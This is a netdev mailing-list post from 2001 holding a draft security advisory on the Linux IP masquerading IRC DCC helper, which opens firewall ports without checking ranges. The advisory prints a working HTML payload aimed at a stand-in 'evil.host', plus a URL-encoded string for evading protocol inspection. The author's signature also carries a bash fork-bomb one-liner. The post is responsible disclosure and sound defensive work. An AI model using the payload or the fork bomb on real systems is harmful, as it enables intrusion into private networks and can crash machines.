netdev
[Top] [All Lists]

Linux IP masquerading helper vulnerability

To: jjciarla@xxxxxxxxxxxxxxxx, netdev@xxxxxxxxxxx, davem@xxxxxxxxxx
Subject: Linux IP masquerading helper vulnerability
From: Michal Zalewski <lcamtuf@xxxxxxx>
Date: Mon, 23 Jul 2001 15:36:58 -0400 (EDT)
Sender: owner-netdev@xxxxxxxxxxx
Hi folks,

[ sorry for multiple recipients, just wanted to reach anybody ]
[ doing Linux networking stuff as soon as possible...         ]

It seems to me there's a vulnerability in Linux 2.2 (2.0 as well, I
presume) IP masquerading IRC DCC helper, which does not check for
acceptable port ranges or IPs when examining DCC command packet. Other
helpers do (e.g. ip_masq_ftp), which raises the bar for potential attacks
a little bit. Short reminder why it is Bad Thing, plus an advisory draft
addressing this issue (yes, I actually do it for living ;) is attached
below.

I'd appreciate your acknowledgement of this problem, and information on
eventual fixes or, khem, what we consider, "vendor response statement"
(basically, it is good to go for it if you disagree with some points).
This is only a draft, and it isn't public for now, so no need to hurry and
release it tonight, if confirmed :) I'd feel better if you can ping me
before, just to have the advisory ready to go and in shape.

Thanks in advance,
-- 
_____________________________________________________
Michal Zalewski [lcamtuf@xxxxxxxxxxxxxxxx] [security]
[http://lcamtuf.coredump.cx] <=-=> bash$ :(){ :|:&};:
=-=> Did you know that clones never use mirrors? <=-=

Title:

  Linux kernel IP masquerading vulnerability

Author:

  Michal Zalewski <lcamtuf@xxxxxxxxxxxxxxxxxx>

Date:

  July 23, 2001


Affected platforms:

  Linux 2.0, Linux 2.2, possibly other systems

Brief description:

  Remotely exploitable IP masquerading vulnerability in Linux kernel
  can be used to penetrate protected private network.

Details:

  Last year, there was a discussion on exploiting NAT packet inspection
  mechanisms on Linux and other operating systems in order to open an
  inbound TCP port on the firewall, by forcing client HTTP client or
  MUA software to send specific data pattern without user's knowledge
  and will (see http://www.securityfocus.com/archive/82/50226). The original
  advisory by Mikael Olsson discussed FTP masquerading helper vulnerability. 
  This specific pattern sent by client software, when found in outbound 
  traffic, is interpreted by the firewall as legitimate, user-initiated 
  transfer request, and certain external machine is temporarily allowed to 
  initiate inbound connections to the location specified in malicious packet
  by using the firewall as packet forwarder.

  Appropriate (but not necessarily sufficient - see later explainations) 
  workarounds were incorporated in Linux kernels released later and are 
  present in numerous firewall operating systems.

  Unfortunately, protocols other than mentioned in original discussions
  seem to be vulnerable, as well. We found that IRC DCC helper (the
  Linux 2.2 ip_masq_irc module, and modules shipped with some other 
  operating systems / firewalling software) can be exploited with

  <img src="ftp://evil.host:6667/%01DCC%20SEND%20file%20addr%20port";>

  or similar pattern, depending on helper implementation details
  ("addr" is the internal machine's IP address as a decimal integer).
  There is no port or IP matching.

  This sequence can be crafted in HTML e-mail or on visited webpage.
  The attacker should listen on remote host on port 6667, and
  generate valid FTP protocol responses. Then, he will receive
  information about port number on the firewall that will be forwarded
  into protected network. See discussion in original advisory for
  more details on this attack.

Workarounds:

  This new NAT server vulnerability related to DCC simply adds to the
  collection of similar vulnerabilities in other protocols, none of
  which have been fixed in a comprehensive way. In general, the
  following five types of workarounds might be used:

  1) Have the NAT server allow only a certain range of ports in processed 
  requests. This workaround (only ports above 1024 are allowed) is currently 
  implemented by Linux and other vendors. Unfortunately, this does not stop 
  attacks or scans against thousands of high-port services - most popular of 
  them are msrdp, iad1-3, lotusnotes, jetdirect, afs3-bos, ms-sql-s, venus-se, 
  instl_bootc, nfa, sun-answerbook, "undocumented" rpc on Solaris, xaudio, 
  nfs, lockd, X11, dtspc, font-service, callbook and many others - database 
  engines, management subsystems, etc.

  2) Have the firewall do more careful inspection of protocol traffic.
  This could identify and block noncompliant IRC client behavior, such as
  the behavior of an HTML e-mail client when accessing an ftp URL.
  Unfortunately, this requires very careful protocol tracking, and can be
  fooled by careful URL construction (e.g. passing the following string
  as ftp server username: "evilhacker%20+iw%20evilhacker%20evilhacker%0d"
  "%0anick%20hacker") and response fragmentation, or using a Java applet.

  3) Use a personal firewall (e.g., ZoneAlarm) on the internal machine
  that asks the user before connecting to an unusual port (6667) or before
  accepting suspected forwarded connection. Suitable personal firewalls may 
  not be available for every OS.

  4) Research, design, and develop some way for the NAT server to ask the 
  internal user whether he really requested an inbound port (e.g.
  one-time challenge-response authentication).

  5) Don't have any helper modules on your NAT server. For any protocol
  that needs a helper, require users to deploy a tunnel instead.


<Prev in Thread] Current Thread [Next in Thread>
  • Linux IP masquerading helper vulnerability, Michal Zalewski <=